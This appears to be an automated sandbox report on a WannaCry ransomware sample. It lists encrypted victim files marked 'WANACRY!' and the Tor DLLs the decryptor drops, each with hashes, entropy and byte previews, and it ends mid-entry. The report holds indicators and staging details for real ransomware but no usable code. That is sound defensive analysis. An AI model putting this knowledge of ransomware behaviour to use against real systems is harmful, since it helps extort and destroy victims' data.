                                                                                                                        Preview:WANACRY!..../.x.].I0H./...-.)...NrX....*."'....W~...mb.eQ`.Y..\.9..,*93....}...^^...T2.).E.)H...`6~...o.m.5.H...H.....5...$..<.iC....L.J_......O...t....3.SnW,..../..YQ..3.o-P....5...jC.x.*7.......[...'.l......X..Np..z.%&.cA.......K7...}...hi......$UI.._;..............`.CJ...Bw*....I....>&..4I....,*NmV.e.........cv............o.N.)....-....m...Z'.~.V.0..f.q....!-.$!.g..........U..Gr..a..0L....>...s..VH.(.e..7.v.].......*Hg...=r.V9i.@1..?..r.._.b.LR.hD......o..........?e.....O...0..V.M~....J..C.....LK......Wp.._}...E......A...OB.k.!i.....8[!..>..PN..D..u...-.....A.M.b.d.G.KZ.......z..>.i..C....J..w......./.O.k.....L...E...Dh.Zr...Z._@..z....mX..+WGQ.P.T...#..'..=.C.T...U.?.O.X...}....<...,.i.I.Z......gTy.g.|M.S..r+...<.M.a(D.P...aE.P..Q..e..tO3~>.<....1.j..D.K(.....-...Xu=.......H....A.^J..'..-....pC[.1P.....P.."2..9C...\..?.-.v#{ ..Q...O.&5(n..*.$......~f l'B..5k.q..G..k.'.H.m\.=X....Q.^5?...3.<....1.Z.....S..........V.*.{{4...o....7..

                                                                                                                        C:\Users\user\Desktop\PWCCAWLGRE.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.796198448975152
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ymD+R/EYywBo02hRRMl/0gA6Vj3VqbQGEcjsizROC1S3mLPCzH6:yB4v7GlVl5lqbybC1DWu
                                                                                                                        MD5:789D4BFCCF15AEA4B2F962DD2BF2AE65
                                                                                                                        SHA1:1B2D7B4563A86DAF1D46A1999E93524E431C6906
                                                                                                                        SHA-256:278117919A26913C62153ECB6E0D6A9057D4A4C817AE030DE85AA4A6F4A072DD
                                                                                                                        SHA-512:7697B4CD7E08AFB8F0717160932446DBB64D86425918771F171D72AEE1C5619582421B02331F48E2B3103903DB9D27DC7712D50D37E4CEEE63398139B49891CA
                                                                                                                        Malicious:false
                                                                                                                        Preview:#.5&.}..(..>+..I..]..&....Bo...........C.g.h.......{..%w.=...J.c..5~.`G...S#......E...>n........]..]'.7..?c.|.=../..3....N...NM.c.....j.M...u..D..v .Le+...._;h)......n{.b..XD.......g.xv.X.....K$./.....,..P.o..}G."...4-.j3U.....t..B.G...a.].iUdQ.j..H...Mf..V2...es....Zr..^.^&.J..l].;.c/.M.....JA>.....t].Q.O.j...........X^,.._JyMH...~.b..i7...nwG.M.#.Z....Eu.c...$...5.r'./w..m~P.N....o.[..f...gi..w..p....k...)V9....5S.......^.#>..b..2j...}Wt....'vn..)@d.....z/D.C}.'...:F.1P.Y.2R.ui...].._cp.$.X\...`.....-.L>./,.p>..X k...0...lo.:....l........A/..:X._..LpO....d9y.&.`.i.*O,.-U...I3?.Vy..j^.x._R.L..i..v.[3.....Yj..}..6...Zwa.j..R...Ww.....=c".....I./]...Yq.[.........aS.Q...J}..k.y3../....wv.7a..._.-.$d.Z..A...R:..oi....|}{.4.?..g....9j.ga.Qg.f..%..XA..[.ooWp..,1.....q.4..=..n..#........%~..............|I}.h....U$..w..]4.....cX..H.^U.Vf..2.a..F...q.I...*.D2.._/...{.....y.UwX...y...P.../..f.......mi#...Rk...3:..#6...43W....R.-.|l..u...

                                                                                                                        C:\Users\user\Desktop\PWCCAWLGRE.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84510652917066
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkp6sDheR/B2Xv/6kIZxlnYxKHlGWtBK9sT1ZLCGKBLYKoTNQm9+l9q+aV2J0:bkssD4f2XvNIjJYG4WtQILCGKBLYKoTv
                                                                                                                        MD5:2D19D1715091EAC06437C66C7D0A0866
                                                                                                                        SHA1:BE2A0AA12CCDAB60867587E9DFC3308190691C08
                                                                                                                        SHA-256:7DAC2130B39ACA25D4798FE95187DFBB4F30D8DB3E87837CC3E72FBF0ED68A85
                                                                                                                        SHA-512:AEF40E5BEB26AF283CB7523632060109BC198FDB039B832063E1BB7E58153998104A5097326A7CFD7BA6DDE25127E61F1616A4875F9CB2417196A162B97635E5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...........g..K....k....;.....~u*.= .9..~3.4&..2..(.k.*[i....t.Y..^..)e. .. ...DA&?.N.........$...u.k..@._$~. \........e9.`3...7.]j...>ZW.._d(..+..tZ.i.h...N.r.0.......?.|u.4....K#...6}P........ [..k....6...].x...Y.IB~.........&.....[..UP.e................Gcw.f......-JT....~..U...P/}E...5..?.......l... .b!..X/.z....."Z.x?].j...l.`...[.K*.j..^..5<..&%../.R......i!.8.@.g.M.O.?8Ll.....!..."..*K...N1..&,;..sEhm...am...3....V.AJ.y.w..-.Z.QW]$?d.....n._..Z.G...l..0gyb.{w...pR]..t.L.i..".*....NJ.........j.rm.*..R....T.M.......Kf...G9.GL..`c....$.....fR.1......0&V..a,..zn...3)Zeu...Wv..H..,.--.N._.....2...D..P.,8<Mw..~6G......!!..ym@.GND..P...M].C...z.nx.B........U..U.&...F....tb...........s.7....]....;CY..nv......R.....Zfl.|j.G..qS..s).t..J.;.x+V6+.V..|..*....)..(..&.e.....Jz..'.b...Y..w...*..5.7<.u(c8(.).>.:(...W.CM2..C..05..i?X.....6.I.....`.Uv'.l..]/./......J..s......s...."U5$Q.D j..P.........u.....QR.0....VxB6...S.UU.@G..D..'.........

                                                                                                                        C:\Users\user\Desktop\PWCCAWLGRE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84510652917066
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkp6sDheR/B2Xv/6kIZxlnYxKHlGWtBK9sT1ZLCGKBLYKoTNQm9+l9q+aV2J0:bkssD4f2XvNIjJYG4WtQILCGKBLYKoTv
                                                                                                                        MD5:2D19D1715091EAC06437C66C7D0A0866
                                                                                                                        SHA1:BE2A0AA12CCDAB60867587E9DFC3308190691C08
                                                                                                                        SHA-256:7DAC2130B39ACA25D4798FE95187DFBB4F30D8DB3E87837CC3E72FBF0ED68A85
                                                                                                                        SHA-512:AEF40E5BEB26AF283CB7523632060109BC198FDB039B832063E1BB7E58153998104A5097326A7CFD7BA6DDE25127E61F1616A4875F9CB2417196A162B97635E5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!...........g..K....k....;.....~u*.= .9..~3.4&..2..(.k.*[i....t.Y..^..)e. .. ...DA&?.N.........$...u.k..@._$~. \........e9.`3...7.]j...>ZW.._d(..+..tZ.i.h...N.r.0.......?.|u.4....K#...6}P........ [..k....6...].x...Y.IB~.........&.....[..UP.e................Gcw.f......-JT....~..U...P/}E...5..?.......l... .b!..X/.z....."Z.x?].j...l.`...[.K*.j..^..5<..&%../.R......i!.8.@.g.M.O.?8Ll.....!..."..*K...N1..&,;..sEhm...am...3....V.AJ.y.w..-.Z.QW]$?d.....n._..Z.G...l..0gyb.{w...pR]..t.L.i..".*....NJ.........j.rm.*..R....T.M.......Kf...G9.GL..`c....$.....fR.1......0&V..a,..zn...3)Zeu...Wv..H..,.--.N._.....2...D..P.,8<Mw..~6G......!!..ym@.GND..P...M].C...z.nx.B........U..U.&...F....tb...........s.7....]....;CY..nv......R.....Zfl.|j.G..qS..s).t..J.;.x+V6+.V..|..*....)..(..&.e.....Jz..'.b...Y..w...*..5.7<.u(c8(.).>.:(...W.CM2..C..05..i?X.....6.I.....`.Uv'.l..]/./......J..s......s...."U5$Q.D j..P.........u.....QR.0....VxB6...S.UU.@G..D..'.........

                                                                                                                        C:\Users\user\Desktop\SQRKHNBNYN.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.788378915509946
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:A/KSY7yvv5+oO6uCXzyl3uvYlW7aQxkyp7cHwQ1EMfMYz35zd:ASSXvv5+oduKc3uvYl88+KEMEy
                                                                                                                        MD5:7396F88C48929A44C0653C239917642F
                                                                                                                        SHA1:3292623BE79C3F1971664EFF5A904F92E4C4B39F
                                                                                                                        SHA-256:0D37290F27A8BDC68C6945D26DAEFAF6B93E835008504E2CD14D5A3C08AAE8CC
                                                                                                                        SHA-512:7FA3BFF4A38633D8468AFF3049B87E5758AAB24DDF369E3BBBF625C1187014B29A4C370E1099A9501DB6DD74DCCA9B94189A77364FF8F0C148383418C020529D
                                                                                                                        Malicious:false
                                                                                                                        Preview:...2`..:..a..Z.6(..B.c.t,4..'....d{.n.4........0.qq....2.................8V.k...)S.".2Y...7TH.A...e...O......2.:k3(Q.tL.P[.S...;\...s.....4..}.....K...-..]..L.!..... ..IQ..~:T;&-...U.}V~y..3.t....J...7.../..2-@.....(#x.l>._..O.V....,...h..H...bs.|..y....V8^..F%c..%........u....|.=i..o.....T[....#..v._.]H..."..K.e...."dUC.,.".wC.*g...a.....=...h......<..t...A./G>.....yZ.."9.....v.A.5....i.Ux.......(#Qv~;.)..ch..s...y.i=M.P..........z..E..'t.q.~..'a7.K%K..8U`.^..ofiVf|L.k.5.v.......J..[....Ky....j22.w0..rS.....Y...4...N;...:.....\.M0..S.#..JF...2)5....y.......(<.Z....|Z....ytp...i...V.]-L.l.d2@.k......s....$@d.O.K..|..T...u-.VL0.AW.3.|I...].x.&...........;~Bo...&.."...Y%...0T_%.-.....>..O+.z..6`.p....H$|...X2.......-P'q.....W....5..__dX...(H.N.1.......@.....x.7..../.....N7q.?x.....&.l...."....0...Z..?..s..k..Tu.].../._vs...$...........m....D.f...u.?...<.9...c+.....h....j.1[.}x...E.A.8..7....uR....\exx].C./...E...xq.q.V..6.w{\....C.....#r....X

                                                                                                                        C:\Users\user\Desktop\SQRKHNBNYN.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850645657406143
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkek1DJbWjgteHJZGOVG4/7hupNqce+0pKyawsHKIfRUnf1hraH:bkPWjgtepZR9zN+0sRqIfRUL+H
                                                                                                                        MD5:B7125CF95352DC06CB5958F6DE50DA9A
                                                                                                                        SHA1:55DB1A831607A1AA66E8CE5D953079DD763407C5
                                                                                                                        SHA-256:7647F0525244F8D82097CC0EC90995B6283702F42745CC6D17609D52B1321F9B
                                                                                                                        SHA-512:16FF538FB41D87BA5D110F20EA137C48641673205E17BF899ABE6FEC333DF23D40E6118A419321161F974163382FE6431573B7D0F00BE0BF16FBE0116B13BCB3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....;S....Rp.....z*...%..~......s.nRa.....&..Y..>Ib...)........+o..r......m...XT|..+>./..d4...1.$.....w|....T7.v..v;.gM;|Qp....-..r....RE......g.U.<S......2C.x.[.....k.)....s..3.K UQ...OSc.:..#f..0.[.......I.|......S Pu'A>.........\NS..{,?.................+<U..h......{3.~.....v.0..P.!fNq..;...O............G...;.BV...`.l.q.g&..".TD!}h..F.x.U.t.c9.H.Ja. .z..B.......&Y.SW...|..l.(......W...L.7..........lc....z.a.U. M..=iU..b.!u.Pd.{.s........'YT.U...>.#.o....=.._2^N..[.$65.xz.}.P..B......o&..,$HkYB...B%..|...0..J.%.......|...).BV..R..~.r.C..7w.Y.i.......0..T.N..V.\#Zwy....&a".. -<....1=...........1......f..Q.H-.....gi;&.Q...;N..B........"5....G.0...f.p:8HmA.@Z6..d....@l...9m.0!.S..{\.:...T.....gP..d.Qij...bf.m...!G.Qy2....4.$..y.r.=..`6....j.....e<}.~......M..q....f.G....g....[.d.......k..0...>. .....Cf..D..;..<._......S.....w..H..,H.,..0pa....!Nx.:...f...~`....$.......".7.....m_<%|... ...Oxx.i.6...?H..!..C...q..B.....

                                                                                                                        C:\Users\user\Desktop\SQRKHNBNYN.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850645657406143
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkek1DJbWjgteHJZGOVG4/7hupNqce+0pKyawsHKIfRUnf1hraH:bkPWjgtepZR9zN+0sRqIfRUL+H
                                                                                                                        MD5:B7125CF95352DC06CB5958F6DE50DA9A
                                                                                                                        SHA1:55DB1A831607A1AA66E8CE5D953079DD763407C5
                                                                                                                        SHA-256:7647F0525244F8D82097CC0EC90995B6283702F42745CC6D17609D52B1321F9B
                                                                                                                        SHA-512:16FF538FB41D87BA5D110F20EA137C48641673205E17BF899ABE6FEC333DF23D40E6118A419321161F974163382FE6431573B7D0F00BE0BF16FBE0116B13BCB3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....;S....Rp.....z*...%..~......s.nRa.....&..Y..>Ib...)........+o..r......m...XT|..+>./..d4...1.$.....w|....T7.v..v;.gM;|Qp....-..r....RE......g.U.<S......2C.x.[.....k.)....s..3.K UQ...OSc.:..#f..0.[.......I.|......S Pu'A>.........\NS..{,?.................+<U..h......{3.~.....v.0..P.!fNq..;...O............G...;.BV...`.l.q.g&..".TD!}h..F.x.U.t.c9.H.Ja. .z..B.......&Y.SW...|..l.(......W...L.7..........lc....z.a.U. M..=iU..b.!u.Pd.{.s........'YT.U...>.#.o....=.._2^N..[.$65.xz.}.P..B......o&..,$HkYB...B%..|...0..J.%.......|...).BV..R..~.r.C..7w.Y.i.......0..T.N..V.\#Zwy....&a".. -<....1=...........1......f..Q.H-.....gi;&.Q...;N..B........"5....G.0...f.p:8HmA.@Z6..d....@l...9m.0!.S..{\.:...T.....gP..d.Qij...bf.m...!G.Qy2....4.$..y.r.=..`6....j.....e<}.~......M..q....f.G....g....[.d.......k..0...>. .....Cf..D..;..<._......S.....w..H..,H.,..0pa....!Nx.:...f...~`....$.......".7.....m_<%|... ...Oxx.i.6...?H..!..C...q..B.....

                                                                                                                        C:\Users\user\Desktop\SQRKHNBNYN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.8327226259287634
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:8XDdfLV3hj0t/zHsquiiwSxiHCzu9RYp+n78W6V4PE2tjV:8XDJmsBzwdCzu9a078Wc4M2th
                                                                                                                        MD5:4D9CDE2600C53EE572F6AA579EFD028D
                                                                                                                        SHA1:2162ECECE9C73A44822A46DAC225D9C9D8D73152
                                                                                                                        SHA-256:E3AEA622E8647CC2D4759386F31421F22DC5D415CEB7B133300213A5A0CB7B07
                                                                                                                        SHA-512:B7999712F0444FE6C5D4725517597DA8FF191696597A6777EF2935DFC588634CDFF7395C372E96DC2602B331E8163929DF2B134C8C5FF4CD211071E8CB866726
                                                                                                                        Malicious:false
                                                                                                                        Preview:.<[y.5_&.2b...8.)..<...+!a^....M.7.e..;..+.?.&..M~Ll.i.Ppb.,.._..AF..r...6B.6.-.a..?.RU.zdGr..08..u]N.0.~qG.1..f......]...!KM..zK+..s....yB\..[....9.q...^\..v_.C.!K...2.{.ER,.5)...uX/(.d....f_.)....L...}.E."J...f.*.I.~.$..b...#\..R&.EE.tp..g........4i....$......j..#..,l..T.....{=......b.]&...O.1...Qe.A.U#7ni.G.YFK.....OGv...d.....,s.Q..[E..A..mpqg.....ba..L8.......Q..!..........b.u...G.i@..emp......Mo.....x.9."'.7Py.=O....h.4A...6..r8.w..C.-:.5\..].TH5U....O...EB...{....F..^..am..8..*/h.Z9(.$@\./.z.N..B.{...;..6.....>H..E..p.^..1..%[M.Z4..3S....s..kaS\9`.n..?..!......E..f....!...A...O.S.m.r.;...jf...hjBf../42.br....PgUHF..^...[$..h...DFL.....h.......MT..**.><[.n..cAN....w).[...m........W.w(<..Va+A....An....|... 9......g....j.|\.u...(]..HP.z[..L...O.[Q.......Q+.MO..Yv0..jn.h.w...<....:.K.k^5.p.*.%u'..*.+..X:.7.Yb.T.....'..I.I..g.G.......m.j..(......QqR.....s..1O ......./.QS..&@..z6h.....t..br..]1..4(.?b.....\...`......l..W.p8.._...?..."b.I..

                                                                                                                        C:\Users\user\Desktop\SQRKHNBNYN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846317112804786
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkaLju8RNTAp3MNVP8rbeulR3aMC+qMCezmcSqaEHpJtZqmwT7rs:bkB8Up3MNt83eGR3axdMCUmcSqtHpXZ7
                                                                                                                        MD5:CBD69D3B96534E807154C31344E9B18B
                                                                                                                        SHA1:376D47591F11A84234B82D7AB1CB98126CD62453
                                                                                                                        SHA-256:0A768B0058926789C6A56351D06398C7B5EF5C9F9055D4443F796B664944D92B
                                                                                                                        SHA-512:E95F5C6B8EC90CF0BE2C30A40B3C6CB7A2A03B1260AC8C6D44EC28C3D52338E774A3E5DFDB045A05565BF27A135E50EFE08102A3D4FCD2811172CFF90030DD5A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......n..!...m'....O.!.\...........$.......k.|.AH...jb..9a>.A.[P...............6B.Q. .h..'F... X^.D@|N...A.MA'@S^7.!.O,.m......&...2.n..4.8NjW..u....K..c]Ek.s..:;....3.....ES...sc...A.=..9.2h".........u<...."i.....Hm#...<.-T.{/[.F6.4>..Q.....v............0.......@.i.W..K@R*.U..."8.[.HU`.2......D...}z^<.........-.f..w...3Z...K..fz....^.=m.R.*.@x...q.IWn..]B.."A..7.......M...*x...]..,.Uq&.R....s..U..;H.2u.d...L.qz...!......#..O.v.`-.:..Y1..~.UE.n.t.}..~<K!7L.4.\...B...<...q..u..x......E.........z........ .mr;.EY^.....Q|......O...t.\..5g...h.Y.%..cF..q.~....V...9b.....Zv%.....!.1@6l`D..uu<.&..EC..-.......Vi.^m..=.U.....a.W.7......t.....*xP.....v.?..|.m49....?.q....*N..(..H.@..S.`?.D.w..k..c.2Z....Y..9..r.I.&..Q!..5....... .T.s....T.O.CX...,;...;U:...1..l......%.u....E*3..99.Eb..z.0.Z.8.r.S..6p..0...X.Coq@U'[......h..k.........E(.!..hc.s.>.[@.&9..,|...5_g\{....X.|...]...t.$...U;C4.K...q.Hlel...=C..T..... .....a..C}.FJ4.......v.+oo

                                                                                                                        C:\Users\user\Desktop\SQRKHNBNYN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846317112804786
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkaLju8RNTAp3MNVP8rbeulR3aMC+qMCezmcSqaEHpJtZqmwT7rs:bkB8Up3MNt83eGR3axdMCUmcSqtHpXZ7
                                                                                                                        MD5:CBD69D3B96534E807154C31344E9B18B
                                                                                                                        SHA1:376D47591F11A84234B82D7AB1CB98126CD62453
                                                                                                                        SHA-256:0A768B0058926789C6A56351D06398C7B5EF5C9F9055D4443F796B664944D92B
                                                                                                                        SHA-512:E95F5C6B8EC90CF0BE2C30A40B3C6CB7A2A03B1260AC8C6D44EC28C3D52338E774A3E5DFDB045A05565BF27A135E50EFE08102A3D4FCD2811172CFF90030DD5A
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......n..!...m'....O.!.\...........$.......k.|.AH...jb..9a>.A.[P...............6B.Q. .h..'F... X^.D@|N...A.MA'@S^7.!.O,.m......&...2.n..4.8NjW..u....K..c]Ek.s..:;....3.....ES...sc...A.=..9.2h".........u<...."i.....Hm#...<.-T.{/[.F6.4>..Q.....v............0.......@.i.W..K@R*.U..."8.[.HU`.2......D...}z^<.........-.f..w...3Z...K..fz....^.=m.R.*.@x...q.IWn..]B.."A..7.......M...*x...]..,.Uq&.R....s..U..;H.2u.d...L.qz...!......#..O.v.`-.:..Y1..~.UE.n.t.}..~<K!7L.4.\...B...<...q..u..x......E.........z........ .mr;.EY^.....Q|......O...t.\..5g...h.Y.%..cF..q.~....V...9b.....Zv%.....!.1@6l`D..uu<.&..EC..-.......Vi.^m..=.U.....a.W.7......t.....*xP.....v.?..|.m49....?.q....*N..(..H.@..S.`?.D.w..k..c.2Z....Y..9..r.I.&..Q!..5....... .T.s....T.O.CX...,;...;U:...1..l......%.u....E*3..99.Eb..z.0.Z.8.r.S..6p..0...X.Coq@U'[......h..k.........E(.!..hc.s.>.[@.&9..,|...5_g\{....X.|...]...t.$...U;C4.K...q.Hlel...=C..T..... .....a..C}.FJ4.......v.+oo

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\libeay32.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3197106
                                                                                                                        Entropy (8bit):6.130063064844696
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:98304:W5FYc9YouOquJVqrR1LlZRUT83DlJrqd+kq:WrjYouOquJgrlZ283xFqdq
                                                                                                                        MD5:6ED47014C3BB259874D673FB3EAEDC85
                                                                                                                        SHA1:C9B29BA7E8A97729C46143CC59332D7A7E9C1AD8
                                                                                                                        SHA-256:58BE53D5012B3F45C1CA6F4897BECE4773EFBE1CCBF0BE460061C183EE14CA19
                                                                                                                        SHA-512:3BC462D21BC762F6EEC3D23BB57E2BAF532807AB8B46FAB1FE38A841E5FDE81ED446E5305A78AD0D513D85419E6EC8C4B54985DA1D6B198ACB793230AEECD93E
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......... ........!.....J... ..0...........`.....c..........................!.......0...@... .........................A....`..\.......<.......................h...................................................4c...............................text....H.......J..................`.p`.data...\d...`...f...P..............@.`..rdata..............................@.`@.bss.........p........................`..edata..A............V..............@.0@.idata..\....`......................@.0..CRT....,...........................@.0..tls.... ............ ..............@.0..rsrc...<............"..............@.0..reloc..h............(..............@.0B/4............ ......& .............@.@B/19.....;z.... ..|...( .............@..B/31.....`....@!....... .............@..B/45.....'....`!....... .............@..B/57...........!....... .............@.0B/70.....".....!....... .

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):719217
                                                                                                                        Entropy (8bit):5.981438230537172
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6144:Ir2r5rFriGKbgai112Yq/5hcQTcGzAHzSHeqoftOEEdD4B2pihSpKOKm:naiV25uQTcGzAHOEW+Pzm
                                                                                                                        MD5:90F50A285EFA5DD9C7FDDCE786BDEF25
                                                                                                                        SHA1:54213DA21542E11D656BB65DB724105AFE8BE688
                                                                                                                        SHA-256:77A250E81FDAF9A075B1244A9434C30BF449012C9B647B265FA81A7B0DB2513F
                                                                                                                        SHA-512:746422BE51031CFA44DD9A6F3569306C34BBE8ABF9D2BD1DF139D9C938D0CBA095C0E05222FD08C8B6DEAEBEF5D3F87569B08FB3261A2D123D983517FB9F43AE
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........t.........!.....@...................P.....e......................... ............@... ......................P..4H......................................t+.....................................................4............................text...T?.......@..................`.P`.data........P.......F..............@.`..rdata.. ....`.......J..............@.`@.bss.........0........................`..edata..4H...P...J..................@.0@.idata...............X..............@.0..CRT....,............h..............@.0..tls.... ............j..............@.0..reloc..t+.......,...l..............@.0B/4..................................@.@B/19.................................@..B/31......(.......*...|..............@..B/45.....1*... ...,..................@..B/57..........P......................@.0B/70.....v....p......................@..B/81....................

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):417759
                                                                                                                        Entropy (8bit):5.853358941151938
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6144:g8r2rQrFr0XGXnZ7rvzRsiWqnjmYl5oHIH9A:gtXGJnvmiggA
                                                                                                                        MD5:E5DF3824F2FCAD0C75FD601FCF37EE70
                                                                                                                        SHA1:902418A4C5F3684DBA5E3246DE8C4E21C92D674E
                                                                                                                        SHA-256:5CD126B4F8C77BDF0C5C980761A9C84411586951122131F13B0640DB83F792D8
                                                                                                                        SHA-512:7E70889B46B54175C6BADA7F042F5730CA7E3D156F7B6711FDF453911E4F78D64A2A8769EB8F0E33E826A3B30E623B3CD4DAF899D9D74888BB3051F08CF34461
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........k......!.....`...4...............p.....b......................................@... ..............................@...............................p...............................`......................pB...............................text...._.......`..................`.P`.data........p.......f..............@.`..rdata..xr.......t...j..............@.`@.bss..................................`..edata...........0..................@.0@.idata.......@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..reloc.......p....... ..............@.0B/4......P............:..............@.@B/19.................>..............@..B/31..........0......................@..B/45..........P......................@..B/57.....<....p......................@.0B/70....."...........................@..B/81.....B...............

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):411369
                                                                                                                        Entropy (8bit):5.909395689751269
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:oLQzG3CaDYuKCsZW9p2M8suCOSNKOM0LE5BtBsxvQkVgA2+FOYtLEgZEVPSm0aQY:oWHMACLoYaQ2bj+b0pJ
                                                                                                                        MD5:6D6602388AB232CA9E8633462E683739
                                                                                                                        SHA1:41072CC983568D8FEEB3E18C4B74440E9D44019A
                                                                                                                        SHA-256:957D58061A42CA343064EC5FB0397950F52AEDF0594A18867D1339D5FBB12E7E
                                                                                                                        SHA-512:B37BF121EA20FFC16AF040F8797C47FA8588834BC8A8115B45DB23EE5BFBEBCD1E226E9ACAB67B5EE43629A255FEA2CEEE4B3215332DD4127F187EE10244F1C3
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........b.........!...............................l......................... ............@... .................................................................h...................................................L................................text...............................`.P`.data...............................@.`..rdata..DR... ...T..................@.`@.bss..................................`..edata...............T..............@.0@.idata...............p..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..h...........................@.0B/4......8...........................@.@B/19.....W.... ......................@..B/31......%.......&...v..............@..B/45......&...0...(..................@..B/57..........`......................@.0B/70.....v....p......................@..B/81.....................

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):523262
                                                                                                                        Entropy (8bit):5.7796587531390795
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6144:+ymz8Jq1p95avGpuO+/jUE8ADu2kNBMY8KHNygoB0+6tMqSsVwvN:+ylSZ+/jU7ynIK5Bb6Y
                                                                                                                        MD5:73D4823075762EE2837950726BAA2AF9
                                                                                                                        SHA1:EBCE3532ED94AD1DF43696632AB8CF8DA8B9E221
                                                                                                                        SHA-256:9AECCF88253D4557A90793E22414868053CAAAB325842C0D7ACB0365E88CD53B
                                                                                                                        SHA-512:8F4A65BD35ED69F331769AAF7505F76DD3C64F3FA05CF01D83431EC93A7B1331F3C818AC7008E65B6F1278D7E365ED5940C8C6B8502E77595E112F1FACA558B5
                                                                                                                        Malicious:true
